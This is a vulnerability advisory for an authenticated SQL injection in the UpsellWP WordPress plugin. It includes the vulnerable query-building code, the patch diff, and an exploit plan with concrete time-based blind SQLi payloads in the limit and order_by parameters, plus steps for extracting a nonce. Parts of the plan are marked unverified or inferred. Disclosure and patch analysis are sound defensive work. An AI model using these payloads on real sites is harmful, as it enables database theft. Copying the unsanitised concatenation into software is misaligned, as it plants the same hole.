CVE-2026-32459

UpsellWP – WooCommerce Upsell and Related Products Offers <= 2.2.4 - Authenticated (Shop manager+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
2.2.5
Patched in
6d
Time to patch

Description

The UpsellWP – WooCommerce Upsell and Related Products Offers plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.2.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with shop manager-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.2.4
PublishedMarch 14, 2026
Last updatedMarch 19, 2026

What Changed in the Fix

Changes introduced in v2.2.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This vulnerability is a classic case of **SQL Injection** in the database abstraction layer of a WordPress plugin. The `CUW\App\Models\Model` class provides helper methods for building SQL queries that fail to properly sanitize or prepare clauses for `ORDER BY`, `LIMIT`, and `OFFSET`. ### 1. Vulner…

Show full research plan

This vulnerability is a classic case of SQL Injection in the database abstraction layer of a WordPress plugin. The CUW\App\Models\Model class provides helper methods for building SQL queries that fail to properly sanitize or prepare clauses for ORDER BY, LIMIT, and OFFSET.

1. Vulnerability Summary

The UpsellWP plugin uses a base Model class (app/Models/Model.php) to handle database interactions. The method prepareSelectQuery() constructs SQL strings by concatenating user-supplied values from an $args array directly into the query. Specifically, the order_by, limit, and offset keys in the $args array are appended to the query string without using $wpdb->prepare() or type-casting (like intval()). This allows an authenticated user with "Shop Manager" or "Administrator" privileges to inject arbitrary SQL.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: cuw_admin_ajax (Inferred from the plugin's cuw_ prefix and standard Flycart AJAX routing patterns).
  • Method/Route: The AJAX dispatcher likely routes requests to a controller method (e.g., get_campaigns) that calls a Model's getRows() method.
  • Vulnerable Parameter: Parameters mapped to $args['order_by'], $args['limit'], or $args['offset'].
  • Authentication: Authenticated, Shop Manager level or higher.
  • Preconditions: At least one record (e.g., a Campaign) must exist in the database for the query to execute and reflect time-based changes.

3. Code Flow

  1. Entry Point: An AJAX request is sent to admin-ajax.php with action=cuw_admin_ajax.
  2. Controller: The dispatcher (likely in app/Controllers/Admin/Ajax.php) receives the request.
  3. Model Call: The controller calls a method like CUW\App\Models\Campaign::getRows($where, $where_format, $columns, $args).
  4. Vulnerable Sink: getRows calls prepareSelectQuery($where, $where_format, $columns, $args) in app/Models/Model.php.
  5. Injection Site:
    • Line 241: $query .= " ORDER BY \$order_by` $sort";` (Injects by breaking out of backticks).
    • Line 245: $query .= " LIMIT $limit"; (Direct concatenation).
    • Line 250: $query .= " OFFSET $offset"; (Direct concatenation).

4. Nonce Acquisition Strategy

The plugin enqueues its admin scripts and localizes data including a security nonce.

  1. Identify Page: The main plugin page is likely wp-admin/admin.php?page=checkout-upsell-and-order-bumps.
  2. Navigation: Use browser_navigate to this URL while logged in as a Shop Manager.
  3. Extraction: The nonce is typically stored in a global JS object. Based on common Flycart patterns, the variable is likely cuw_admin_params or cuw_vars.
  4. Agent Command:
    browser_eval("window.cuw_admin_params?.ajax_nonce || window.cuw_vars?.nonce")
    

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection targeting the limit parameter, as it is concatenated directly without any wrapping characters.

  • Request Type: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Body (URL-encoded):
    action=cuw_admin_ajax
    method=get_campaigns
    nonce=[EXTRACTED_NONCE]
    limit=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
    
  • Alternative Body (using order_by):
    action=cuw_admin_ajax
    method=get_campaigns
    nonce=[EXTRACTED_NONCE]
    order_by=id`,(SELECT 1 FROM (SELECT SLEEP(5))a)-- -
    
    Resulting Query: SELECT * FROM ... ORDER BY id,(SELECT 1 FROM (SELECT SLEEP(5))a)-- - ASC`

6. Test Data Setup

  1. User: Create a user with the shop_manager role.
  2. Plugin Setup: Ensure WooCommerce is active (dependency).
  3. Content: Create at least one campaign via the UpsellWP dashboard to ensure the getRows query has a target table and data.
    • wp post create --post_type=cuw_campaign --post_title="Test Campaign" --post_status=publish (Note: Check the actual post type name if this fails, likely cuw_campaign or stored in a custom table wp_cuw_campaigns).

7. Expected Results

  • Normal Request: The server responds promptly (e.g., < 200ms).
  • Exploit Request: The server response is delayed by exactly 5 seconds.
  • Error-Based (Optional): If WP_DEBUG is on, providing a payload like limit=1' ERROR might return a database error string in the response.

8. Verification Steps

After performing the time-based injection, use wp db query to confirm the structure of the plugin's tables:

  1. Check for custom tables: wp db query "SHOW TABLES LIKE '%cuw_%'"
  2. Verify content: wp db query "SELECT COUNT(*) FROM wp_cuw_campaigns" (or relevant table).
  3. Confirm the vulnerability by manually running a similar query via CLI to ensure the syntax matches the injection hypothesis.

9. Alternative Approaches

If get_campaigns is not the correct method name:

  1. Check the browser Network tab while interacting with the plugin's dashboard to see the exact method or route parameter sent in AJAX requests.
  2. Search for other Model usages:
    grep -rn "getRows" app/Controllers/
    
  3. If time-based is unstable, try boolean-based by changing the limit to 1 (True) vs 0 (False/No results).
Research Findings
Static analysis — not yet PoC-verified

Summary

The UpsellWP plugin for WordPress is vulnerable to SQL Injection because its base Model class concatenates user-supplied parameters directly into SQL queries without sanitization or using prepared statements. Authenticated attackers with Shop Manager privileges can exploit this to inject arbitrary SQL commands via order_by, limit, or offset parameters to extract sensitive information from the database.

Vulnerable Code

// app/Models/Model.php

            if (isset($args['order_by'])) {
                $order_by = $args['order_by'];
                $sort = 'ASC';
                if (isset($args['sort']) && strtoupper($args['sort']) == 'DESC') {
                    $sort = 'DESC';
                }
                $query .= " ORDER BY `$order_by` $sort";
            }

            if (isset($args['limit'])) {
                $limit = $args['limit'];
                $query .= " LIMIT $limit";
            }

            if (isset($args['offset'])) {
                $offset = $args['offset'];
                $query .= " OFFSET $offset";
            }

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/checkout-upsell-and-order-bumps/2.2.3/app/Models/Model.php	2024-03-12 11:04:02.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/checkout-upsell-and-order-bumps/2.2.5/app/Models/Model.php	2026-02-26 12:10:34.000000000 +0000
@@ -239,22 +239,29 @@
             }
 
             if (isset($args['order_by'])) {
-                $order_by = $args['order_by'];
+                $order_by = sanitize_key($args['order_by']);
                 $sort = 'ASC';
                 if (isset($args['sort']) && strtoupper($args['sort']) == 'DESC') {
                     $sort = 'DESC';
                 }
-                $query .= " ORDER BY `$order_by` $sort";
+                // Validate order_by field contains only alphanumeric characters, underscores, and hyphens
+                if (preg_match('/^[a-zA-Z0-9_-]+$/', $order_by)) {
+                    $query .= " ORDER BY `$order_by` $sort";
+                }
             }
 
             if (isset($args['limit'])) {
-                $limit = $args['limit'];
-                $query .= " LIMIT $limit";
+                $limit = absint($args['limit']);
+                if ($limit > 0) {
+                    $query .= " LIMIT $limit";
+                }
             }
 
             if (isset($args['offset'])) {
-                $offset = $args['offset'];
-                $query .= " OFFSET $offset";
+                $offset = absint($args['offset']);
+                if ($offset >= 0) {
+                    $query .= " OFFSET $offset";
+                }
             }
         }

Exploit Outline

The exploit targets the `cuw_admin_ajax` AJAX action, which routes requests to controller methods that utilize the vulnerable `Model` class. An attacker needs Shop Manager or Administrator authentication. 1. **Preparation**: Create at least one 'Campaign' in the plugin dashboard to ensure database records exist for query results. 2. **Nonce Retrieval**: Authenticate as a Shop Manager and navigate to the plugin's admin page to extract the security nonce (likely stored in the `cuw_admin_params` JavaScript object). 3. **Payload Injection**: Send a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `cuw_admin_ajax` - `method`: `get_campaigns` (or another method calling `getRows`) - `nonce`: [EXTRACTED_NONCE] - `limit`: `1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)` 4. **Verification**: A successful exploit is confirmed if the server response is delayed by approximately 5 seconds, indicating the `SLEEP()` command was executed by the database engine.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.